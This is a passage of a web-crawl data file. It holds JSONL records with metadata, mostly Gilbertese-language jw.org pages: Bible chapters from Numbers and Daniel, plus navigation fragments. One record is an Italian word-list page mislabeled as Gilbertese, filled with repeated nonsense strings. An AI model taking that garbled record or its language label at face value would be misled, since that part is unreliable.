https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/wsb\/univ\/wpub\/wsb_univ_lg.jpg","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/taamnei\/Why-Study-the-Bible\/","date":"2018-01-21T11:56:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084890514.66\/warc\/CC-MAIN-20180121100252-20180121120252-00055.warc.gz","language":"gil","language_score":0.7180856466,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.7180856466293335, \"rar_Latn_score\": 0.03861570358276367, \"gaa_Latn_score\": 0.03786575794219971, \"chk_Latn_score\": 0.026302430778741837, \"mah_Latn_score\": 0.025182485580444336, \"tdx_Latn_score\": 0.010975081473588943}","num_words":52,"character_repetition_ratio":0.195,"word_repetition_ratio":0.279,"special_characters_ratio":0.2,"stopwords_ratio":0.173,"flagged_words_ratio":0.0,"lang_id_score":0.807,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"E Kangaa Aroni Kairan te Reirei n te Baibara? E Kangaa Aroni Kairan te Reirei n te Baibara? Nora aroni kairan te reirei n te Baibara n aki kabooaki. Ti karautaeka bwa e aki moa maiu. Karekea te Viteo Aei Reiakina ae bati riki IBUKIN TE REIREI N TE BAIBARA Bubutii Reireim n te Baibara Karekea reireim n te Baibara n te tai ao n te tabo ae angaraoi iroum. Print Tibwaia Tibwaia IBUKIN TE REIREI N TE BAIBARA E Kangaa Aroni Kairan te Reirei n te Baibara? Kiribati E Kangaa Aroni Kairan te Reirei n te Baibara? https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/m\/502014311\/univ\/art\/502014311_univ_sqr_xl.jpg","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/ana-tia-kakoaua-iehova\/aki-kabooaki-reirei-baibara\/taamnei-baibara-reirei\/","date":"2018-01-16T17:29:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886476.31\/warc\/CC-MAIN-20180116164812-20180116184812-00715.warc.gz","language":"gil","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000088214874268}","num_words":99,"character_repetition_ratio":0.165,"word_repetition_ratio":0.111,"special_characters_ratio":0.233,"stopwords_ratio":0.434,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Uringa Buun Rota—Mwakoro 2 Uringa Buun Rota—Mwakoro 2 Te Bae E na Riki Ni Kakeaani Bongan te Bae Kakawaki Ti karautaeka bwa e aki moa maiu. Karekea te Viteo Aei Imwaina Imwina Reiakina ae bati riki TITIRAKI AIKA KAEKAAKI MAN TE BAIBARA Tera Ana Taeka te Baibara Ibukin te Wene n Taanga i Marenaia Mwaane ma Mwaane ke Aine ma Aine? Tera Ana Taeka te Baibara Ibukin te Wene n Taanga i Marenaia Mwaane ma Mwaane ke Aine ma Aine? E kona ni kakukureia te Atua te aomata ae kani wene n taanga ma raona ni mwaane ke n aine? Print Tibwaia Tibwaia URINGA BUUN ROTA Uringa Buun Rota—Mwakoro 2 Kiribati Uringa Buun Rota—Mwakoro 2 https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/m\/1102017516\/univ\/art\/1102017516_univ_sqr_xl.jpg","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/taamnei\/uringa-buun-rota\/taamnei-mwakoro-2\/","date":"2018-01-24T00:12:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084892802.73\/warc\/CC-MAIN-20180123231023-20180124011023-00708.warc.gz","language":"gil","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000051259994507}","num_words":112,"character_repetition_ratio":0.118,"word_repetition_ratio":0.194,"special_characters_ratio":0.23,"stopwords_ratio":0.321,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"4 E a taku ngkai Iehova nakoni Mote ma Aaron: 2 \"E riai ni karaoaki te wareaomata ibukia tibuni Koata+ mai buakoia tibun Rewi, n aia utu nako ao n aia koraki mairoun tamaia, 3 ake aomata ni kabane ake man 30+ nakon 50 aia ririki,+ ake te koraki ake a mwiokoaki bwa a na mwakuri n te umwa ni botaki.+ 4 \"Aio aia mwakuri tibuni Koata n te umwa ni botaki.+ Bon te bwai ae moan te tabu te baei: 5 A na roko Aaron ma natina mwaane ngkana e nangi mwemwenako te kaembwa, ao a na karuoa te keeten+ ao a na rabuna iai te Ati ni Berita.*+ 6 A na kaaki te rabuna ae kunin te tiire i aona ao n taakina te kunnikai ae buruu i aona, ao a na kanimwi kaai+ ni nneia ibukin uotakina. 7 \"A na taakina naba te kunnikai ae buruu i aon taiboran te bwerena ae kaotiotaki,+ ao a na kaaki i aona raurau, mwangko, boora, ao taian tiaeki ibukin te karea ae te moi.+ E riai n titiku i aona te bwerena are te karea+ ae riai ni kakareanaki. 8 A na taakina te kunnikai ae uraroo i aoni baikanne ao n rabuna te taibora n te rabuna ae kunin te tiire, ao a na kanimwi kaai+ ni nneia ibukin uotakina. 9 A na anaa ngkanne te kunnikai ae buruu ao n rabuna te kaintaura+ are ibukin te oota, n ikotaki ma taurana,+ taati ake a kabonganaaki ibukin tauani wikina, baan ake nneni wikin taura ake a a tia ni kabonganaaki, ao nneni bwaana nako,+ ake a kabonganaaki ibukini kateimatoaan uran te kaintaura. 10 A na niniria ma bwaina nako n te rabuna ae kunin te tiire ao ni kaaki i aon te bao* ibukin uotakina. 11 Ao a na taakina te kunnikai ae buruu i aon te baonikarea ae te koora,+ ao n rabunna n te rabuna ae kunin te tiire, ao a na kanimwi kaai+ ni nneia ibukin uotakina. 12 A na anai ngkanne bwaai nako ake a kabonganai+ n aia beku n te tabo ae tabu, ao a na kaaki i nanon te kunnikai ae buruu ao n rabuni n te rabuna ae kunin te tiire, ao a na kaaki i aon te bao ibukin uotakina. 13 \"A riai ni kanakoa te mannang* man te baonikarea,+ ao n taakina i aona te kunnikai ae beboo. 14 A na kaaki i aona bwaini mwakuriana nako ake a kabonganaaki ngkana a beku n te baonikarea: aika taiani baan aika nneni mwaakaron te ai, kainiwaiteke, tiaabora, ao boora, ake bwaini mwakurian nako te baonikarea.+ Ao a na taakina te rabuna ae kunin te tiire i aona ao ni kanimwi kaai+ ni nneia ibukin uotakina. 15 \"A riai n tia n rabuni bwain te tabo ae tabu+ ma bwaai ni mwakuri nako ake n te tabo ae tabu Aaron ma natina mwaane, ngkana e a mwemwenako te kaembwa. Ao a na rin tibuni Koata n uotii,+ ma a aki riai n ringi bwain te tabo ae tabu bwa a kaawa ni mate.+ Bon tabeia* tibuni Koata baikai n irekereke ma te umwa ni botaki. 16 \"E tabe Ereata+ are natin Aaron are te ibonga* ma tararuaani bwaan te taura,+ baika boiarara,+ te karea ae te amwarake* ae riai ni kakareanaki, ao te bwaa ae tabu.+ E tararuaa te umwanrianna ae tabu* ao bwaai ni kabane ake iai, n ikotaki ma te tabo ae tabu ao bwaai ni mwakuri ake iai.\" 17 E reitia ni kangai Iehova nakoni Mote ma Aaron: 18 \"Tai kariaia te baronga ake aia utu nako tibuni Koata+ bwa a na kamaunaaki mai buakoia tibun Rewi. 19 Ma karaoa aei ibukia bwa a aonga n teimatoa ni maiu ao n aki mate ibukini kaanian baika moan te tabu.+ E na rinnako Aaron ma natina mwaane ao ni mwiokoa temanna ma temanna n ana beku ao n uotana. 20 A aki riai n rin ao n nori naba teutana baika tabu, bwa a kaawa ni mate.\"+ 21 E taku ngkanne Iehova nakoni Mote: 22 \"E riai ni karaoaki te wareaomata ibukia tibuni Kerition,+ n aia koraki mairoun tamaia ao n aia utu nako. 23 Ko na korei araia te koraki ni kabane ake 30 nakon 50 aia ririki, ake a mwiokoaki bwa a na beku n te umwa ni botaki. 24 Aio mwiokoaia aia utu nako tibuni Kerition ae a na tararuaia ao n uotia:+ 25 A na uotii kunnikain te umwanrianna ae tabu,+ kunnikain te umwa ni botaki, rabunan te umwanrianna are kunin te tiire,+ ao te rabuna are i aan anne, keetenin* mataroan te umwa ni botaki,+ 26 oon te katawanang aika taiani keeten,+ keetenin* mataroan te katawanang+ are katobibia te umwanrianna ae tabu ao te baonikarea, kabaeaia, ao bwaia nako ma bwaai nako ake a kabonganaaki ibukini mwakuriana. Bon anne mwiokoaia. 27 A riai n tararuaaki aia beku tibuni Kerition+ ma uotaia iroun Aaron ma natina mwaane. Kam na angania bwa tabeia uotaia aikai ni kabane. 28 Anne te beku ae a na karaoia aia utu tibuni Kerition n te umwa ni botaki,+ ao e mena tabeia i aan ana kairiri Itama+ are natin Aaron are te ibonga. 29 \"Ni kaineti ngkanne ma tibuni Merari,+ ko na korei araia n aia utu nako ao n aia koraki mairoun tamaia. 30 Ko na korei araia naake man 30 nakon 50 aia ririki, ake te koraki ni kabane ake a mwiokoaki bwa a na beku n te umwa ni botaki. 31 Ao tabeia ae irekereke ma aia beku n te umwa ni botaki bon uotakini+ baikai: kain oon+ te umwanrianna ae tabu, kaai ibukini katomaani kain oona,+ bouana,+ nibwana,+ 32 boua+ ake a katobibia te katawanang ao nibwaia,+ kain rooaia,+ ao kabaeaia ma bwaini mwakuriaia, ao mwakuri nako ake a irekereke ma baikai. Kam na mwiokoiia n tatabemania nako n te bwai ni mwakuri are tabeia bwa a na uotia. 33 Anne aroia aia utu nako tibuni Merari+ ni beku n te umwa ni botaki, i aan ana kairiri Itama are natin Aaron are te ibonga.\"+ 34 A korei ngkanne araia tibuni Koata+ n aia utu nako ao n aia koraki mairoun tamaia, Mote ma Aaron ao mataniwi+ n te botaki n aomata, 35 ake aomata ni kabane ake man 30 nakon 50 aia ririki, ake te koraki ake a mwiokoaki bwa a na beku n te umwa ni botaki.+ 36 Botaia naake a koreaki araia n aia utu nako bon 2,750.+ 37 A koreaki araia naakai mai buakoia aia utu tibuni Koata, ake te koraki ni kabane ake a beku n te umwa ni botaki. A korei araia naakai Mote ma Aaron ni kaineti ma are e tua Iehova rinanoni Mote.+ 38 A koreaki araia tibuni Kerition+ n aia utu nako ao n aia koraki mairoun tamaia, 39 ake aomata ni kabane ake man 30 nakon 50 aia ririki, ake te koraki ake a mwiokoaki bwa a na beku n te umwa ni botaki. 40 Botaia naake a koreaki araia n aia utu nako ao n aia koraki mairoun tamaia, bon 2,630.+ 41 Anne te koreara ibukia aia utu tibuni Kerition, ake te koraki ni kabane ake a beku n te umwa ni botaki. A korei araia Mote ma Aaron ni kaineti ma are e tua Iehova.+ 42 A koreaki araia tibuni Merari n aia utu nako ao n aia koraki mairoun tamaia, 43 ake aomata ni kabane ake man 30 nakon 50 aia ririki, ake te koraki ake a mwiokoaki bwa a na beku n te umwa ni botaki.+ 44 Botaia naake a koreaki araia n aia utu nako bon 3,200.+ 45 Anne te koreara ibukia aia utu tibuni Merari ake a korei araia Mote ma Aaron, ni kaineti ma are e tua Iehova rinanoni Mote.+ 46 A korei araia tibun Rewi aikai ni kabane, n aia utu nako ao n aia koraki mairoun tamaia, Mote ma Aaron ao mataniwia tibun Iteraera. 47 E moa man 30 nakon 50 aia ririki, ao a bane ni mwiokoaki bwa a na beku ao n uotii uotaia aika irekereke ma te umwa ni botaki.+ 48 Botaia naake a koreaki araia bon 8,580.+ 49 A koreaki araia ni kaineti ma are e tua Iehova rinanoni Mote, temanna ma temanna n ana beku are e mwiokoaki iai ma uotana. A koreaki araia n aron are e tua Iehova nakoni Mote.\nTaiani Kabwarabwara Mai Nano\n^ Te ati ae kanoana bwaai ni kaotioti.\n^ Ke, \"kain uouotana.\"\n^ Ke, \"mannang aika kiriiti,\" ae taekan taiani mannang aika mara ni kiriitin taiani karea.\n^ Ebera, \"uotaia.\"\n^ Nora Nanon Taeka.\n^ Ke, \"te karea ae te koraa.\" Nora Nanon Taeka.\n^ Nora Nanon Taeka.\n^ Ke, \"rokin.\"\n^ Ke, \"rokin.\"","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/warekaia-iteraera\/4\/","date":"2018-02-19T08:53:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891812556.20\/warc\/CC-MAIN-20180219072328-20180219092328-00232.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1371,"character_repetition_ratio":0.091,"word_repetition_ratio":0.137,"special_characters_ratio":0.252,"stopwords_ratio":0.4,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"-\nE butimwaea ana tautaeka te Atua Nebukaneta (1-3)\n-\nMiin te uea ibukin te kai (4-18)\n-\nE kabwaraa nanon te mii Taniera (19-27)\n-\nMoani kakororaoana nakon te uea (28-36)\n-\nE mino te uea i nanon itiua te tai (32, 33)\n-\n-\nTe uea e karietataa Atuani karawa (37)\nKo tangiria ni wareka te kaongora aei n %%?\n4 \"Mairoun te Uea ae Nebukaneta, nakoia ni kabane botannaomata, natannaomata, ao taian taetae, aika maeka n te aonnaba ni kabutaa: Ke e korakora ami rau! 2 I kukurei n taekin nakoimi kanikina ma baika kamimi ake e karaoi te Atua ae Moan te Rietata nakoiu. 3 Ai kakannatora ana kanikina ao ai korakorara ana mwakuri aika kamimi! Ana tautaeka n uea bon te tautaeka ae akea tokina, ao e tautaeka man te rorona nakon te rorona.+ 4 \"I rau ngai ae Nebukaneta i nanon au auti ao I mweraoi i nanon au baareti. 5 I nora te mii ae kakamaakai. Ngke I wene i aoni nneu ni wene, ao a a kakamaakai taiani banna ma miitara aika i atuu.+ 6 Ngaia are I a tua bwa a na kairaki nako matau mwaane aika wanawana ni kabane aika i Baburon, bwa a aonga ni kaota nakoiu kabwaraan nanon te mii.+ 7 \"N te tai anne ao a a roko ibonga ake taan tabunea, taani kaiwa, I-Kareria,* ao taani kaiwan itoi.+ Ngke I a tuangia te mii, ao a aki kona ni kaota kabwaraan nanona nakoiu.+ 8 N tokina ao e a rin nako matau Taniera are arana Beretetiata+ are ingoan atuau,+ ae te mwaane ae mena irouna taamneia atua aika tabu,+ ao I a tuangnga te mii ni kangai: 9 \"'Ngkoe ae Beretetiata ae aia mataniwi ibonga aika taan tabunea,+ I bon ataia raoi bwa e mena iroum taamneia atua aika tabu,+ ao akea te bwai ae raba ae rangi ni kangaanga iroum.+ Mangaia ae kabwarabwarai nakoiu taiani miitara ake I nori ni miiu ma kabwaraan nanona. 10 \"'Ni miitara ake i atuu ngke I mena i aoni nneu ni wene, ao I nora te kainnamwarake+ tekaina ae mena i nukan te aonnaba, ao e rangi n rietata.+ 11 E rikirake te kainnamwarake aei ao e a korakora, ao e rokoroko taberana i karawa, ao e kona n noraki mai tabon nako te aonnaba ni kabutaa. 12 A tamaroa baana, ao a bati uaana, ao e reke iai kanaia aomata ni kabane. A ukoukora te nuu manin te tawaana i aana, ao a mamaeka ni mwaangana mannikiba ake i annang, ao a bane bwaai aika maiu* n amwamwarake mai iai. 13 \"'Ngke I mataku ni miitara ake i atuu ngke I mena i aoni nneu ni wene, ao I nora te tia tantani* temanna ae tabu, ae tabe n ruo mai karawa.+ 14 E takarua ni kangai: \"Tataa te kainnamwarake+ anne ni kabwakaa, korei mwaangana, ioi baana ni kabwakai, ao kamrarai uaana! Ke a birinako maan mai aana, ao mannikiba mani mwaangana. 15 Ma katuka botona ma wakaana n te tano, ma kabaeana ae te biti ma te buraati, i buakon uteuten te tawaana. Ke e mwamwaimwai n aoini karawa, ao ke e mena tibwangana i buakoia maan akana i buakon arokan te aonnaba.+ 16 Ke e bitaki nanona man te nano n aomata, ao ke e anganaki nanon te man, ao ke e tiku n arona anne i nanon+ taai aika itiua.+ 17 E baireaki te baei irouia taan tantani,+ ao te tua aei irouia te koraki aika tabu, n te aro are a na ataia aomata aika maiu bwa e mwaaka i aon aia tautaeka n uea aomata+ Teuare Moan te Rietata, ao e anga te tautaeka nakon ane e kan anganna, ao e katea naba iai ane te kabanea ni mangori i buakoia aomata.\" 18 \"'Aio te mii are I noria ngai ae te Uea ae Nebukaneta, ko na kaota ngkai kabwaraan nanona ngkoe ae Beretetiata, bwa a aki kona ni kabwaraa nanona nakoiu+ mwaane aika wanawana ni kabane aika i aan au tautaeka n uea. Ma ko kona ngkoe ni karaoa anne, ibukina bwa e mena iroum taamneia atua aika tabu.' 19 \"N te tai anne ao e maaku moa i nanon tabeua te tai Taniera are arana Beretetiata,+ ao e a moanna ni maaku naba ni baike e iangoi. \"Ao e taku te uea, 'Beretetiata, tai kariaia bwa e na kakamaakuko te mii ma kabwaraan nanona.' \"E kaeka ni kangai Beretetiata, 'Au uea, e bia kaineti te mii nakoia akana riribaiko, ao kabwaraan nanona nakoia taani kairiribai nakoim. 20 \"'Te kainnamwarake are ko noria are e rikirake ni bubura ao e a korakora, ao e rokoroko taberana i karawa, ao e kona n noraki mai tabon nako te aonnaba ni kabutaa,+ 21 are a tamaroa baana, ao a bati uaana, ao e reke iai kanaia aomata ni kabane, are a mamaeka i aana manin te tawaana, ao a mamaeka ni mwaangana mannikiba ake i annang,+ 22 bon taekam ngkoe ae te uea, ibukina bwa ko rikirake ni kakannato ma ni korakora, ao e a rikirake kakannatom ma n rota karawa,+ ao e rotii tabon aonnaba am tautaeka.+ 23 \"'Ao te uea e nora te tia tantani ae tabu,+ ae tabe n ruo mai karawa, are e kangai: \"Tataa te kainnamwarake ni kabwakaa ao kamatea, ma katuka botona ma wakaana n te tano, ma kabaeana ae te biti ma te buraati, i buakon uteuten te tawaana. Ao ke e mwamwaimwai n aoini karawa, ao ke e mena tibwangana i buakoia manin te tawaana ni karokoa koron taai aika itiua.\"+ 24 Aio kabwaraan nanona, ngkoe ae te uea, bwa bon ana moti Teuare Moan te Rietata ae e na roko iroun au toka ae te uea. 25 Ko na boni kakioakinako mai buakoia aomata, ao e na mena am tabo ni maeka i buakoia manin te tawaana, ao ko na anganaki aroka bwa kanam n aroia kaao mwaane, ao ko na mwamwaimwai n aoini karawa,+ i nanon+ taai aika itiua,+ ni karokoa ae ko ataia bwa e mwaaka i aon aia tautaeka n uea aomata Teuare Moan te Rietata, ao e angan ane e kan anganna.+ 26 \"'Ma ibukina bwa a taku bwa e na katukaki boton te kainnamwarake ma wakaana,+ e na manga okiriko am tautaeka n uea ngkana ko a tia n ataia ae e tautaeka te Atua i karawa. 27 Mangaia are te uea, ko bia butimwaea au reirei ni kairiri. Ko na rairakinako man am bure n arom ni karaoa ae eti, ao mani buakakam n arom ni kaotiota te nanoanga nakoia akana maiu ni kainnano. Tao ane e na kaabwabwakaki mweraoim iai.'\"+ 28 A bane n riki baikai nakon te Uea ae Nebukaneta. 29 Tebwi ma uoua te namwakaina imwina riki ao e a nakonako i aon taubukin ana baareti ueani Baburon. 30 E taku te uea: \"Tiaki boni Baburon ae Kakannato aei ae I boni kateia ibukin ana auti te uea n oini korakorau ma mwaakau, ao ibukini kakannaton karineau?\" 31 Ngke e boni mena naba te taeka aei i win te uea, ao e a roko naba te bwanaa mai karawa ae kangai: \"E taekinaki ae kangai nakoim ngkoe ae te Uea ae Nebukaneta, 'E a nako te tautaeka n uea mairoum,+ 32 ao ko a kakioakinako mai buakoia aomata. E na mena am tabo ni maeka i buakoia manin te tawaana, ao ko na anganaki aroka bwa kanam n aroia kaao mwaane, i nanon taai aika itiua, ni karokoa ae ko ataia bwa e mwaaka i aon aia tautaeka n uea aomata Teuare Moan te Rietata, ao e angan ane e kan anganna.'\"+ 33 N te tai naba anne ao e a kakoroaki bukin te taeka i aon Nebukaneta. E a kakioakinako mai buakoia aomata ao e a kaakang aroka n aroia kaao mwaane, ao e a mwamwaimwai rabwatana n aoini karawa ni karokoa mwarairain irana n aroni buraeia ikare, ao ukinibaina ai aron ukinibaia mannikiba.+ 34 \"Ni banen te tai anne,+ ao ngai ae Nebukaneta I a tararake nako karawa, ao e a okirai au ataibwai, ao I karaoiroa Teuare Moan te Rietata, ao I anga te neboaki ma te mimitong nakon Teuare maiu n aki toki, ibukina bwa ana tautaeka bon te tautaeka ae akea tokina ao ueana boni man te rorona nakon te rorona.+ 35 A iangoaki kaain te aonnaba ni kabane bwa akea manenaia ni kabotauaki ma ngaia, ao e kakaraoa are boraoi ma nanona i buakoia kaain te taanga ni buaka i karawa ma kaain te aonnaba. Ao akea ae e kona n tukia*+ ke ni kangai nakoina, 'Tera ae ko karaoia?'+ 36 \"N te tai anne ao e a okirai au ataibwai, ao e okirai kakannaton au tautaeka n uea, karineau, ao tamaroau.+ A ingainga au mataniwi aika rietata ma au bwaanuea n ukoukorai ao I a kaokaki nakon au tautaeka n uea, ao e a kabatiaaki riki kakannatou. 37 \"Ao ngkai, ngai ae Nebukaneta, I a karaoiroa ma ni karietataa ao n neboa Ueani karawa,+ ibukina bwa a koaua ana mwakuri ni kabane ao a kaota te kaetitaeka ae riai arona nako,+ ao ibukina bwa e kona ni kabwainrangia te koraki aika nakonako n nanorieta.\"+","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/taniera\/4\/","date":"2018-02-25T22:27:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891817437.99\/warc\/CC-MAIN-20180225205820-20180225225820-00457.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1473,"character_repetition_ratio":0.062,"word_repetition_ratio":0.113,"special_characters_ratio":0.242,"stopwords_ratio":0.414,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"|P||A||R||O||L||A||N||D|\nRICERCA NEL SITO:\nHOME > A03 > afk\nPAROLA : afk\nLUNGHEZZA : 03\nALFAGRAMMA : afk\nELENCO PAROLE CONTENUTE IN : afk\ndi 02 lettere :\naf\nfk\nALCUNE PAROLE CHE CONTENGONO : afk\ngafkin vladikafkaz kafkas gafke lafke vladikafkass kafkage kafkaesque lafkon tpbafkposter tpbafk kafkiano kafkiana kafkiani pafklik kafkiane kafkismo afkat afkaat afke aaaaaaaafkg aaaaaaaafko afkh aboutdennismahafkey baijialeaafk bafkw 80afk1ag0ae3a afkfamilymartialarts afkninja alafkarc dafkesher qsafk afkers aaaaaaaaafk lafkas karinafkarina afkontando lafkowitz nafkeh afka afkaad afkaadde afkaadden afkaadt afkaap afkaapt afkaapte afkaapten afkaats afkaatse afkaatsen afkaatsi afkaatsing afkaatsingen afkaatst afkaatste afkaatsten afkabbel afkabbelde afkabbelden afkabbelen afkabbeling afkabbelingen afkabbelt afkabiye afkaden afkading afkadingen afkald afkalf afkalfde afkalfden afkalft afkalk afkalken afkalkin afkalking afkalkt afkalkte afkalkten afkalven afkalvin afkalving afkalvingen afkam afkamde afkamden afkammen afkammin afkamming afkammingen afkamt afkant afkantel afkantelde afkantelden afkantelen afkantelt afkanten afkantin afkanting\nFRASI CHE INIZIANO CON : afk\naoa lnset produce il miele la in sciami in cui distinguono ao ir essi tu\naoa getur via la mena regaga la mena la dar gambones vate dare aoa fare\naoa fare una buona acacciar un enn bdna elle si astingalus tragocaiuha tlie aoa\naoa lnset produce il miele la in sciami in cui distinguono le api aoa eertamente\naoa eertamente acata al coatenuto della lettera seritta ia aeeasioae dalla on\naoa ao ao ao ao ao ao ao ao nides ao rtica ao rtico aoa\naoa aoa aoa ao ao ao ao ao ao ao nides ao rtica ao rtico\naoa aoa ao ao ao ao ao ao ao nides ao rtica ao rtico aoa\naoa ao ao ao ao ao ao ao nides ao rtica ao rtico aoa aoa\naoa aoa aoa aoa aoaass ao ao ao ao ao ao nides ao rtica ao\naoa aoa aoa aoaass ao ao ao ao ao ao nides ao rtica ao rtico\naoa aoa aoaass ao ao ao ao ao ao nides ao rtica ao rtico aoa\naoa aoaass ao ao ao ao ao ao nides ao rtica ao rtico aoa aoa\naoa aoa aoa aoa aoaass aoab ao ao ao ao ao nides ao rtica ao\naoa aoa aoa aoaass aoab ao ao ao ao ao nides ao rtica ao rtico\naoa aoa aoaass aoab ao ao ao ao ao nides ao rtica ao rtico aoa\naoa aoaass aoab ao ao ao ao ao nides ao rtica ao rtico aoa aoa\naoa aoa aoa aoa aoaass aoab aoac ao ao ao ao nides ao rtica ao\naoa aoa aoa aoaass aoab aoac ao ao ao ao nides ao rtica ao rtico\naoa aoa aoaass aoab aoac ao ao ao ao nides ao rtica ao rtico aoa\naoa aoaass aoab aoac ao ao ao ao nides ao rtica ao rtico aoa aoa\naoa aoa aoa aoa aoaass aoab aoac aoad ao ao ao nides ao rtica ao\naoa aoa aoa aoaass aoab aoac aoad ao ao ao nides ao rtica ao rtico\naoa aoa aoaass aoab aoac aoad ao ao ao nides ao rtica ao rtico aoa\naoa aoaass aoab aoac aoad ao ao ao nides ao rtica ao rtico aoa aoa\naoa aoa aoa aoa aoaass aoab aoac aoad aoaff ao ao nides ao rtica ao\naoa aoa aoa aoaass aoab aoac aoad aoaff ao ao nides ao rtica ao rtico\naoa aoa aoaass aoab aoac aoad aoaff ao ao nides ao rtica ao rtico aoa\naoa aoaass aoab aoac aoad aoaff ao ao nides ao rtica ao rtico aoa aoa\naoa administration on cdc centers disease control and ahrq announces interest in\naoa aoa aoaass aoab aoab aoac ao ao ao ao nides ao rtica ao rtico\naoa aoaass aoab aoab aoac ao ao ao ao nides ao rtica ao rtico aoa\naoa aoa aoaass aoab aoab aoac aoad ao ao ao nides ao rtica ao rtico\naoa aoaass aoab aoab aoac aoad ao ao ao nides ao rtica ao rtico aoa\naoa aoa aoaass aoab aoab aoac aoad aoaff ao ao nides ao rtica ao rtico\naoa aoaass aoab aoab aoac aoad aoaff ao ao nides ao rtica ao rtico aoa\naoa aoa aoaass aoab aoac aoac aoad ao ao ao nides ao rtica ao rtico\naoa aoaass aoab aoac aoac aoad ao ao ao nides ao rtica ao rtico aoa\naoa aoa aoaass aoab aoac aoac aoad aoaff ao ao nides ao rtica ao rtico\naoa aoaass aoab aoac aoac aoad aoaff ao ao nides ao rtica ao rtico aoa\naoa aoa aoaass aoab aoac aoad aoad aoaff ao ao nides ao rtica ao rtico\naoa aoaass aoab aoac aoad aoad aoaff ao ao nides ao rtica ao rtico aoa\nHOME > A03 > afk\n3761217687 ON023JX\nTutti i dati sono automaticamente, anche se accuratamente raccolti da fonti di pubblico accesso. Le frasi vengono selezionate automaticamente e non sono destinate ad esprimere le nostre opinioni. Il contenuto e le opinioni espresse sono esclusivamente a nome degli autori delle frasi.\nemail@example.com\nRANDOMAMAZON NEW!!\nTIPOGRAFIA LAMPOESTAMPO\nCENTROHD","id":"","dump":"CC-MAIN-2018-09","url":"http:\/\/www.centrohd.com\/paroland\/pag\/a1\/a0300183.php","date":"2018-02-23T12:44:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891814700.55\/warc\/CC-MAIN-20180223115053-20180223135053-00373.warc.gz","language":"gil","language_score":0.8022184968,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.802218496799469, \"zea_Latn_score\": 0.19774849712848663}","num_words":807,"character_repetition_ratio":0.334,"word_repetition_ratio":0.553,"special_characters_ratio":0.201,"stopwords_ratio":0.273,"flagged_words_ratio":0.0,"lang_id_score":0.751,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Young People Ask—What Will I Do With My Life? KAREKEI N AEKAIA AIKAI Young People Ask—What Will I Do With My Life? Karekean te taamnei aika raweaki n aekaia aika MP4 Tibwaia TAAMNEI Young People Ask—What Will I Do With My Life? Kiribati Young People Ask—What Will I Do With My Life? https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/ivyf\/univ\/wpub\/ivyf_univ_lg.jpg Tibwaia Tibwaia TAAMNEI Young People Ask—What Will I Do With My Life? Kiribati Young People Ask—What Will I Do With My Life? https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/ivyf\/univ\/wpub\/ivyf_univ_lg.jpg","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/taamnei\/Young-People-Ask-What-Will-I-Do-With-My-Life\/","date":"2018-02-18T07:56:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891811794.67\/warc\/CC-MAIN-20180218062032-20180218082032-00755.warc.gz","language":"gil","language_score":0.6146984696,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.6146984696388245, \"gaa_Latn_score\": 0.08302950859069824, \"rar_Latn_score\": 0.02234349213540554, \"fij_Latn_score\": 0.020152175799012184, \"mah_Latn_score\": 0.020072614774107933, \"chk_Latn_score\": 0.01779394969344139}","num_words":76,"character_repetition_ratio":0.163,"word_repetition_ratio":0.388,"special_characters_ratio":0.21,"stopwords_ratio":0.145,"flagged_words_ratio":0.0,"lang_id_score":0.166,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"MAIURA NI KRISTIAN AO ARA MWAKURI NI MINITA—TE BOKI N REIREI Turai 2017 KAREKEI N AEKAIA AIKAI Turai 2017 Karekei booki aika Digital n aekaia aikai EPUB PDF Tibwaia MAIURA NI KRISTIAN AO ARA MWAKURI NI MINITA—TE BOKI N REIREI 